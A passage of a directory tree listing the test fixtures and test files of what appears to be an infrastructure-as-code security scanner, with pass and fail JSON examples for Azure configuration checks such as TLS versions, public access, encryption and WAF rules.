│ │ │ └── pass1.json │ │ ├── example_AKSRbacEnabled/ │ │ │ ├── aksEnableRbac-FAILED.json │ │ │ ├── aksEnableRbac-FAILED2.json │ │ │ ├── aksEnableRbac-FAILED3.json │ │ │ └── aksEnableRbac-PASSED.json │ │ ├── example_AKSUpgradeChannel/ │ │ │ ├── fail.json │ │ │ ├── fail1.json │ │ │ └── pass.json │ │ ├── example_APIManagementMinTLS12/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_APIManagementPublicAccess/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_APIServicesUseVirtualNetwork/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AkSSecretStoreRotation/ │ │ │ ├── fail.json │ │ │ ├── fail1.json │ │ │ └── pass.json │ │ ├── example_AppGWDefinesSecureProtocols/ │ │ │ ├── empty_sslPolicy_fail1.json │ │ │ ├── with_policyName_fail3.json │ │ │ ├── with_policyName_pass1.json │ │ │ ├── with_protocolversion_and_cipher_fail2.json │ │ │ ├── with_protocolversion_and_cipher_pass.json │ │ │ └── without_sslPolicy_fail.json │ │ ├── example_AppGatewayWAFACLCVE202144228/ │ │ │ ├── empty_disabled_rules_pass.json │ │ │ ├── owasp_3_0_fail.json │ │ │ ├── owasp_3_1_default_pass.json │ │ │ ├── owasp_3_1_disabled_different_pass.json │ │ │ ├── owasp_3_1_disabled_fail.json │ │ │ ├── owasp_3_2_default_pass.json │ │ │ └── version_3_1_default_pass.json │ │ ├── example_AppServiceAuthentication/ │ │ │ ├── appServiceAuthentication-FAILED.json │ │ │ ├── appServiceAuthentication-PASSED.json │ │ │ └── appServiceAuthentication-PASSED2.json │ │ ├── example_AppServiceClientCertificate/ │ │ │ ├── appServiceClientCertificate-FAILED.json │ │ │ ├── appServiceClientCertificate-FAILED2.json │ │ │ ├── appServiceClientCertificate-PASSED.json │ │ │ └── appServiceClientCertificate-PASSED2.json │ │ ├── example_AppServiceDetailedErrorMessagesEnabled/ │ │ │ ├── AppServiceDetailedErrorMessagesEnabled-failed.json │ │ │ ├── AppServiceDetailedErrorMessagesEnabled-failed2.json │ │ │ └── AppServiceDetailedErrorMessagesEnabled-passed.json │ │ ├── example_AppServiceDisallowCORS/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AppServiceDotnetFrameworkVersion/ │ │ │ ├── failed.json │ │ │ └── passed.json │ │ ├── example_AppServiceEnabledFailedRequest/ │ │ │ ├── AppServiceEnableFailedRequest-failed.json │ │ │ └── AppServiceEnableFailedRequest-passed.json │ │ ├── example_AppServiceFTPSState/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── fail3.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ └── pass3.json │ │ ├── example_AppServiceHTTPSOnly/ │ │ │ ├── appServiceHTTPSOnly-FAILED.json │ │ │ ├── appServiceHTTPSOnly-FAILED2.json │ │ │ ├── appServiceHTTPSOnly-PASSED.json │ │ │ └── appServiceHTTPSOnly-PASSED2.json │ │ ├── example_AppServiceHttpLoggingEnabled/ │ │ │ ├── AppServiceHttpLoggingEnabled-failed.json │ │ │ ├── AppServiceHttpLoggingEnabled-failed2.json │ │ │ └── AppServiceHttpLoggingEnabled-passed.json │ │ ├── example_AppServiceHttps20Enabled/ │ │ │ ├── appServiceHttps20Enabled-FAILED.json │ │ │ ├── appServiceHttps20Enabled-FAILED2.json │ │ │ ├── appServiceHttps20Enabled-FAILED3.json │ │ │ ├── appServiceHttps20Enabled-PASSED.json │ │ │ └── appServiceHttps20Enabled-PASSED2.json │ │ ├── example_AppServiceIdentity/ │ │ │ ├── appServiceIdentity-FAILED.json │ │ │ ├── appServiceIdentity-PASSED.json │ │ │ └── appServiceIdentity-PASSED2.json │ │ ├── example_AppServiceIdentityProviderEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AppServiceInstanceMinimum/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── unknown.json │ │ │ └── unknown2.json │ │ ├── example_AppServiceJavaVersion/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AppServiceMinTLSVersion/ │ │ │ ├── appServiceMinTLSVersion-FAILED.json │ │ │ ├── appServiceMinTLSVersion-FAILED2.json │ │ │ ├── appServiceMinTLSVersion-FAILED3.json │ │ │ ├── appServiceMinTLSVersion-PASSED.json │ │ │ └── appServiceMinTLSVersion-PASSED2.json │ │ ├── example_AppServicePHPVersion/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AppServicePlanZoneRedundant/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AppServicePublicAccessDisabled/ │ │ │ ├── configFail.json │ │ │ ├── configPass.json │ │ │ ├── linuxDefault.json │ │ │ ├── linuxFail.json │ │ │ ├── linuxPass.json │ │ │ ├── slotFail.json │ │ │ ├── slotPass.json │ │ │ ├── windowsDefault.json │ │ │ ├── windowsFail.json │ │ │ └── windowsPass.json │ │ ├── example_AppServicePythonVersion/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── unknown.json │ │ ├── example_AppServiceRemoteDebuggingNotEnabled/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass1.json │ │ ├── example_AppServiceSetHealthCheck/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_AppServiceSlotDebugDisabled/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_AppServiceSlotHTTPSOnly/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_AppServiceUsedAzureFiles/ │ │ │ ├── AppServiceEnableFailedRequest-failed.json │ │ │ ├── AppServiceEnableFailedRequest-failed2.json │ │ │ └── AppServiceUsedAzureFiles-passed.json │ │ ├── example_AutomationEncrypted/ │ │ │ ├── fail.json │ │ │ ├── fail1.json │ │ │ └── pass.json │ │ ├── example_AzureBatchAccountEndpointAccessDefaultAction.py/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureBatchAccountUsesKeyVaultEncryption/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureDataExplorerDoubleEncryptionEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureDefenderOnKeyVaults/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureDefenderOnKubernetes/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureDefenderOnSqlServersVMS/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureDefenderOnStorage/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureFirewallDenyThreatIntelMode/ │ │ │ ├── CKV_AZURE_216.fail.json │ │ │ ├── CKV_AZURE_216.fail2.json │ │ │ └── CKV_AZURE_216.pass.json │ │ ├── example_AzureFrontDoorEnablesWAF/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AzureInstanceExtensions/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureInstancePassword/ │ │ │ ├── FAILED.json │ │ │ ├── PASSED.json │ │ │ ├── UNKNOWN.json │ │ │ └── UNKNOWN_1.json │ │ ├── example_AzureMLWorkspacePrivateEndpoint/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_AzureManagedDiscEncryption/ │ │ │ ├── azureManagedDiscEncryption-FAILED.json │ │ │ ├── azureManagedDiscEncryption-PASSED.json │ │ │ ├── azureManagedDiscEncryption-PASSED_2.json │ │ │ └── azureManagedDiscEncryption-PASSED_3.json │ │ ├── example_AzureManagedDiskEncryptionSet/ │ │ │ ├── azureManagedDiskEncyptionSet-FAILED.json │ │ │ └── azureManagedDiskEncyptionSet-PASSED.json │ │ ├── example_AzureScaleSetPassword/ │ │ │ ├── FAILED.json │ │ │ ├── PASSED.json │ │ │ └── UNKNOWN.json │ │ ├── example_AzureSearchSLAIndex/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureSearchSLAQueryUpdates/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureServiceFabricClusterProtectionLevel/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureSparkPoolIsolatedComputeEnabled/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureSynapseWorkspaceVAisEnabled/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_CognitiveServicesConfigureIdentity/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_CognitiveServicesDisablesPublicNetwork/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_CognitiveServicesEnableLocalAuth/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_CosmosDBAccountsRestrictedAccess/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── fail3.json │ │ │ ├── fail4.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ └── pass4.json │ │ ├── example_CosmosDBDisableAccessKeyWrite/ │ │ │ ├── CosmosDBDisableAccessKeyWrite-FAILED.json │ │ │ └── CosmosDBDisableAccessKeyWrite-PASSED.json │ │ ├── example_CosmosDBDisablesPublicNetwork/ │ │ │ ├── Fail.json │ │ │ ├── Fail2.json │ │ │ ├── Fail3.json │ │ │ └── Pass.json │ │ ├── example_CosmosDBHaveCMK/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_CosmosDBLocalAuthDisabled/ │ │ │ ├── fail.json │ │ │ ├── fail1.json │ │ │ ├── pass.json │ │ │ └── unknown.json │ │ ├── example_CustomRoleDefinitionSubscriptionOwner/ │ │ │ ├── example_customRoleDefinitionSubscriptionOwner-FAILED.json │ │ │ └── example_customRoleDefinitionSubscriptionOwner-PASSED.json │ │ ├── example_DataExplorerUsesDiskEncryption/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_DataFactoryNoPublicNetworkAccess/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_DataFactoryUsesGitRepository/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── unknown.json │ │ ├── example_DataLakeStoreEncryption/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_DatabricksWorkspaceIsNotPublic/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_EventHubNamespaceMinTLS12/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_EventgridTopicIdentityProviderEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_EventgridTopicLocalAuthentication/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_EventgridTopicNetworkAccess/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_FrontDoorWAFACLCVE202144228/ │ │ │ ├── fail1.json │ │ │ ├── fail3.json │ │ │ ├── fail4.json │ │ │ ├── pass1.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ └── pass4.json │ │ ├── example_FrontdoorUseWAFMode/ │ │ │ ├── example_FrontdoorUseWAFMode-FAILED.json │ │ │ └── example_FrontdoorUseWAFMode-PASSED.json │ │ ├── example_FunctionAppDisallowCORS/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass_with_cors.json │ │ ├── example_FunctionAppHttpVersionLatest/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_FunctionAppMinTLSVersion/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ └── pass4.json │ │ ├── example_FunctionAppsAccessibleOverHttps/ │ │ │ ├── sites_config_fail.json │ │ │ ├── sites_config_pass.json │ │ │ ├── sites_config_pass1.json │ │ │ ├── sites_fail.json │ │ │ ├── sites_fail1.json │ │ │ └── sites_pass.json │ │ ├── example_FunctionAppsEnableAuthentication/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_KeyBackedByHSM/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_KeyExpirationDate/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_KeyVaultDisablesPublicNetworkAccess/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ ├── fail3.json │ │ │ ├── fail4.json │ │ │ ├── fail5.json │ │ │ ├── pass1.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ └── pass4.json │ │ ├── example_KeyVaultEnablesFirewallRulesSettings/ │ │ │ ├── KeyVaultEnablesFirewallRulesSettings-FAILED.json │ │ │ └── KeyVaultEnablesFirewallRulesSettings-PASSED.json │ │ ├── example_KeyVaultEnablesPurgeProtection/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_KeyVaultEnablesSoftDelete/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_KeyvaultRecoveryEnabled/ │ │ │ ├── keyvaultRecoveryEnabled-FAILED.json │ │ │ ├── keyvaultRecoveryEnabled-FAILED2.json │ │ │ └── keyvaultRecoveryEnabled-PASSED.json │ │ ├── example_LinuxVMUsesSSH/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_MSSQLServerMinTLSVersion/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_MariaDBGeoBackupEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_MariaDBPublicAccessDisabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_MariaDBSSLEnforcementEnabled/ │ │ │ ├── FAILED.json │ │ │ ├── FAILED_2.json │ │ │ └── PASSED.json │ │ ├── example_MonitorLogProfileCategories/ │ │ │ ├── monitorLogProfileCategories-FAILED.json │ │ │ └── monitorLogProfileCategories-PASSED.json │ │ ├── example_MonitorLogProfileRetentionDays/ │ │ │ ├── monitorLogProfileRetentionDays-FAILED.json │ │ │ ├── monitorLogProfileRetentionDays-FAILED2.json │ │ │ └── monitorLogProfileRetentionDays-PASSED.json │ │ ├── example_MySQLEncryptionEnabled/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── unknown.json │ │ ├── example_MySQLGeoBackupEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_MySQLServerMinTLSVersion/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_MySQLServerSSLEnforcementEnabled/ │ │ │ ├── mysqlSSLEnforcementEnabled-FAILED.json │ │ │ ├── mysqlSSLEnforcementEnabled-FAILED2.json │ │ │ └── mysqlSSLEnforcementEnabled-PASSED.json │ │ ├── example_NSGRuleHTTPAccessRestricted/ │ │ │ ├── NSGRulePortAccessRestricted-FAILED.json │ │ │ ├── NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json │ │ │ └── NSGRulePortAccessRestricted-RULE-PASSED.json │ │ ├── example_NSGRuleRDPAccessRestricted/ │ │ │ ├── NSGRulePortAccessRestricted-FAILED.json │ │ │ ├── NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json │ │ │ └── NSGRulePortAccessRestricted-RULE-PASSED.json │ │ ├── example_NSGRuleSSHAccessRestricted/ │ │ │ ├── NSGRulePortAccessRestricted-FAILED.json │ │ │ ├── NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json │ │ │ └── NSGRulePortAccessRestricted-RULE-PASSED.json │ │ ├── example_NetworkWatcherFlowLogPeriod/ │ │ │ ├── networkWatcherFlowLogPeriod-FAILED.json │ │ │ ├── networkWatcherFlowLogPeriod-FAILED2.json │ │ │ ├── networkWatcherFlowLogPeriod-FAILED3.json │ │ │ ├── networkWatcherFlowLogPeriod-FAILED4.json │ │ │ └── networkWatcherFlowLogPeriod-PASSED.json │ │ ├── example_PostgreSQLEncryptionEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_PostgreSQLServerConnectionThrottlingEnabled/ │ │ │ ├── postgreSQL-ConnectionThrottlingEnabled-FAILED.json │ │ │ ├── postgreSQL-ConnectionThrottlingEnabled-PASSED.json │ │ │ └── postgreSQL-ConnectionThrottlingEnabled-PASSED2.json │ │ ├── example_PostgreSQLServerLogCheckpointsEnabled/ │ │ │ ├── postgreSQL-LogCheckpointsEnabled-FAILED.json │ │ │ ├── postgreSQL-LogCheckpointsEnabled-PASSED.json │ │ │ └── postgreSQL-LogCheckpointsEnabled-PASSED2.json │ │ ├── example_PostgreSQLServerLogConnectionsEnabled/ │ │ │ ├── postgreSQL-LogConnectionsEnabled-FAILED.json │ │ │ ├── postgreSQL-LogConnectionsEnabled-PASSED.json │ │ │ └── postgreSQL-LogConnectionsEnabled-PASSED2.json │ │ ├── example_PostgreSQLServerPublicAccessDisable/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_PostgreSQLServerSSLEnforcementEnabled/ │ │ │ ├── postgreSQL-SSL-FAILED.json │ │ │ ├── postgreSQL-SSL-FAILED2.json │ │ │ └── postgreSQL-SSL-PASSED.json │ │ ├── example_PostgressSQLGeoBackupEnabled/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_PubsubSKUSLA/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_PubsubSpecifyIdentity/ │ │ │ ├── fail.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_RedisCachePublicNetworkAccessEnabled/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_SQLDatabaseZoneRedundant/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_SQLServerAuditingEnabled/ │ │ │ ├── sqlServerAuditingEnabled-PASSED.json │ │ │ ├── sqlServerAuditingEnabled-TDE-FAILED.json │ │ │ └── sqlServerDatabaseAuditingEnabled-PASSED.json │ │ ├── example_SQLServerAuditingRetention90Days/ │ │ │ ├── sqlServerAuditingRetention90Days-2021-05-PASSED.json │ │ │ ├── sqlServerAuditingRetention90Days-FAILED2.json │ │ │ ├── sqlServerAuditingRetention90Days-FAILED3.json │ │ │ ├── sqlServerAuditingRetention90Days-PASSED.json │ │ │ ├── sqlServerAuditingRetention90Days-PASSED2.json │ │ │ └── sqlServerAuditingRetention90Days-TDE-FAILED.json │ │ ├── example_SQLServerEmailAlertsEnabled/ │ │ │ ├── sqlServerEmailAlertsEnabled-FAILED.json │ │ │ └── sqlServerEmailAlertsEnabled-PASSED.json │ │ ├── example_SQLServerEmailAlertsToAdminsEnabled/ │ │ │ ├── sqlServerEmailAlertsToAdminsEnabled-FAILED.json │ │ │ └── sqlServerEmailAlertsToAdminsEnabled-PASSED.json │ │ ├── example_SQLServerHasPublicAccessDisabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_SQLServerNoPublicAccess/ │ │ │ ├── sqlServerNoPublicAccess-TDE-FAILED.json │ │ │ └── sqlServerNoPublicAccess-TDE-PASSED.json │ │ ├── example_SQLServerThreatDetectionTypes/ │ │ │ ├── sqlServerThreatDetectionTypes-FAILED.json │ │ │ ├── sqlServerThreatDetectionTypes-PASSED.json │ │ │ └── sqlServerThreatDetectionTypes-PASSED2.json │ │ ├── example_SQLServerUsesADAuth/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_SecretContentType/ │ │ │ ├── SecretExpirationDate-FAILED.json │ │ │ └── SecretExpirationDate-PASSED.json │ │ ├── example_SecretExpirationDate/ │ │ │ ├── SecretExpirationDate-FAILED.json │ │ │ └── SecretExpirationDate-PASSED.json │ │ ├── example_SecurityCenter/ │ │ │ ├── securityCenter-FAILED.json │ │ │ └── securityCenter-PASSED.json │ │ ├── example_SkipJsonRegex/ │ │ │ ├── skip1.json │ │ │ ├── skip2/ │ │ │ │ ├── skip1.json │ │ │ │ └── skip2.json │ │ │ └── skip2.json │ │ ├── example_StorageAccountAzureServicesAccessEnabled/ │ │ │ ├── storageAccountAzureServicesAccessEnabled-FAILED.json │ │ │ ├── storageAccountAzureServicesAccessEnabled-FAILED2.json │ │ │ ├── storageAccountAzureServicesAccessEnabled-PASSED.json │ │ │ ├── storageAccountAzureServicesAccessEnabled-PASSED2.json │ │ │ ├── storageAccountAzureServicesAccessEnabled-UNKNOWN.json │ │ │ └── storageAccountAzureServicesAccessEnabled-VARIABLE.json │ │ ├── example_StorageAccountDefaultNetworkAccessDeny/ │ │ │ ├── storageAccountDefaultNetworkAccessDeny-FAILED.json │ │ │ ├── storageAccountDefaultNetworkAccessDeny-FAILED2.json │ │ │ ├── storageAccountDefaultNetworkAccessDeny-PASSED.json │ │ │ ├── storageAccountDefaultNetworkAccessDeny-PASSED2.json │ │ │ └── storageAccountDefaultNetworkAccessDeny-UNKNOWN.json │ │ ├── example_StorageAccountDisablePublicAccess/ │ │ │ ├── FAILED.json │ │ │ ├── PASSED.json │ │ │ └── PASSED_2.json │ │ ├── example_StorageAccountLoggingQueueServiceEnabled/ │ │ │ ├── exampleStorageAccountLoggingQueueServiceEnabled-Failed.json │ │ │ ├── exampleStorageAccountLoggingQueueServiceEnabled-Failed2.json │ │ │ └── exampleStorageAccountLoggingQueueServiceEnabled-PASSED.json │ │ ├── example_StorageAccountMinimumTlsVersion/ │ │ │ ├── exampleStorageAccountMinimumTlsVersion-fail1.json │ │ │ ├── exampleStorageAccountMinimumTlsVersion-fail2.json │ │ │ ├── exampleStorageAccountMinimumTlsVersion-fail3.json │ │ │ └── exampleStorageAccountMinimumTlsVersion-passed.json │ │ ├── example_StorageAccountName/ │ │ │ ├── camelCase.json │ │ │ ├── kebabCase.json │ │ │ ├── pass.json │ │ │ ├── passNumber.json │ │ │ ├── substring.bicep │ │ │ └── tooLong.json │ │ ├── example_StorageAccountsTransportEncryption/ │ │ │ ├── notes.txt │ │ │ ├── storageAccount-FAILED.json │ │ │ ├── storageAccount-FAILED2.json │ │ │ ├── storageAccount-PASSED.json │ │ │ ├── storageAccount-PASSED2.json │ │ │ ├── storageAccount-PASSED3.json │ │ │ ├── storageAccount-SKIPPED.json │ │ │ ├── storageAccount-SKIPPED2.json │ │ │ └── storageAccount-SKIPPED3.json │ │ ├── example_StorageAccountsUseReplication/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_StorageBlobServiceContainerPrivateAccess/ │ │ │ ├── storageBlobServiceContainerPrivateAccess-FAILED.json │ │ │ ├── storageBlobServiceContainerPrivateAccess-PASSED.json │ │ │ └── storageBlobServiceContainerPrivateAccess-PASSED2.json │ │ ├── example_StorageSyncPublicAccessDisabled/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_SynapseWorkspaceAdministratorLoginPasswordHidden/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_SynapseWorkspaceCMKEncryption/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_SynapseWorkspaceEnablesDataExfilProtection/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_SynapseWorkspaceEnablesManagedVirtualNetworks/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_TestMySQLPublicAccessDisabled/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_VMCredsInCustomData/ │ │ │ ├── fail-secret.json │ │ │ ├── pass-empty-os-profile.json │ │ │ ├── pass-no-custom-date.json │ │ │ ├── pass-no-os-profile.json │ │ │ └── pass-no-secret.json │ │ ├── example_VMDisablePasswordAuthentication/ │ │ │ ├── failed-vm.json │ │ │ ├── failed.json │ │ │ ├── passed-vm.json │ │ │ └── passed.json │ │ ├── example_VMEncryptionAtHostEnabled/ │ │ │ ├── scaleset-fail.json │ │ │ ├── scaleset-fail2.json │ │ │ ├── scaleset-pass.json │ │ │ ├── vm-fail.json │ │ │ ├── vm-fail2.json │ │ │ └── vm-pass.json │ │ ├── example_VMScaleSetsAutoOSImagePatchingEnabled/ │ │ │ ├── fail-windows.json │ │ │ ├── fail-windows2.json │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass-windows.json │ │ │ └── pass.json │ │ ├── example_VMStorageOsDisk/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_VnetLocalDNS/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── fail3.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── unknown.json │ │ │ └── unknown2.json │ │ ├── example_VnetSingleDNSServer/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── fail3.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ └── pass4.json │ │ ├── example_WildcardEntities/ │ │ │ └── main.json │ │ ├── example_WinVMAutomaticUpdates/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_WinVMEncryptionAtHost/ │ │ │ ├── failed.json │ │ │ └── passed.json │ │ ├── test_ACRAdminAccountDisabled.py │ │ ├── test_ACRAnonymousPullDisabled.py │ │ ├── test_ACRContainerScanEnabled.py │ │ ├── test_ACREnableImageQuarantine.py │ │ ├── test_ACREnableZoneRedundancy.py │ │ ├── test_ACRPublicNetworkAccessDisabled.py │ │ ├── test_AKSApiServerAuthorizedIpRanges.py │ │ ├── test_AKSDashboardDisabled.py │ │ ├── test_AKSEncryptionAtHostEnabled.py │ │ ├── test_AKSEphemeralOSDisks.py │ │ ├── test_AKSLocalAdminDisabled.py │ │ ├── test_AKSLoggingEnabled.py │ │ ├── test_AKSMaxPodsMinimum.py │ │ ├── test_AKSNetworkPolicy.py │ │ ├── test_AKSPoolTypeIsScaleSet.py │ │ ├── test_AKSRbacEnabled.py │ │ ├── test_AKSUpgradeChannel.py │ │ ├── test_APIManagementMinTLS12.py │ │ ├── test_APIManagementPublicAccess.py │ │ ├── test_APIServicesUseVirtualNetwork.py │ │ ├── test_AkSSecretStoreRotation.py │ │ ├── test_AppGWDefinesSecureProtocols.py │ │ ├── test_AppGatewayWAFACLCVE202144228.py │ │ ├── test_AppServiceAuthentication.py │ │ ├── test_AppServiceClientCertificate.py │ │ ├── test_AppServiceDetailedErrorMessagesEnabled.py │ │ ├── test_AppServiceDisallowCORS.py │ │ ├── test_AppServiceDotnetFrameworkVersion.py │ │ ├── test_AppServiceEnabledFailedRequest.py │ │ ├── test_AppServiceFTPSState.py │ │ ├── test_AppServiceHTTPSOnly.py │ │ ├── test_AppServiceHttpLoggingEnabled.py │ │ ├── test_AppServiceHttps20Enabled.py │ │ ├── test_AppServiceIdentity.py │ │ ├── test_AppServiceIdentityProviderEnabled.py │ │ ├── test_AppServiceInstanceMinimum.py │ │ ├── test_AppServiceJavaVersion.py │ │ ├── test_AppServiceMinTLSVersion.py │ │ ├── test_AppServicePHPVersion.py │ │ ├── test_AppServicePlanZoneRedundant.py │ │ ├── test_AppServicePublicAccessDisabled.py │ │ ├── test_AppServicePythonVersion.py │ │ ├── test_AppServiceRemoteDebuggingNotEnabled.py │ │ ├── test_AppServiceSetHealthCheck.py │ │ ├── test_AppServiceSlotDebugDisabled.py │ │ ├── test_AppServiceSlotHTTPSOnly.py │ │ ├── test_AppServiceUsedAzureFiles.py │ │ ├── test_AutomationEncrypted.py │ │ ├── test_AzureBatchAccountEndpointAccessDefaultAction.py │ │ ├── test_AzureBatchAccountUsesKeyVaultEncryption.py │ │ ├── test_AzureDataExplorerDoubleEncryptionEnabled.py │ │ ├── test_AzureDefenderOnKeyVaults.py │ │ ├── test_AzureDefenderOnKubernetes.py │ │ ├── test_AzureDefenderOnSqlServersVMS.py │ │ ├── test_AzureDefenderOnStorage.py │ │ ├── test_AzureFirewallDenyThreatIntelMode.py │ │ ├── test_AzureFrontDoorEnablesWAF.py │ │ ├── test_AzureInstanceExtensions.py │ │ ├── test_AzureInstancePassword.py │ │ ├── test_AzureMLWorkspacePrivateEndpoint.py │ │ ├── test_AzureManagedDiscEncryption.py │ │ ├── test_AzureManagedDiscEncryptionSet.py │ │ ├── test_AzureScaleSetPassword.py │ │ ├── test_AzureSearchSLAIndex.py │ │ ├── test_AzureSearchSLAQueryUpdates.py │ │ ├── test_AzureServiceFabricClusterProtectionLevel.py │ │ ├── test_AzureSparkPoolIsolatedComputeEnabled.py │ │ ├── 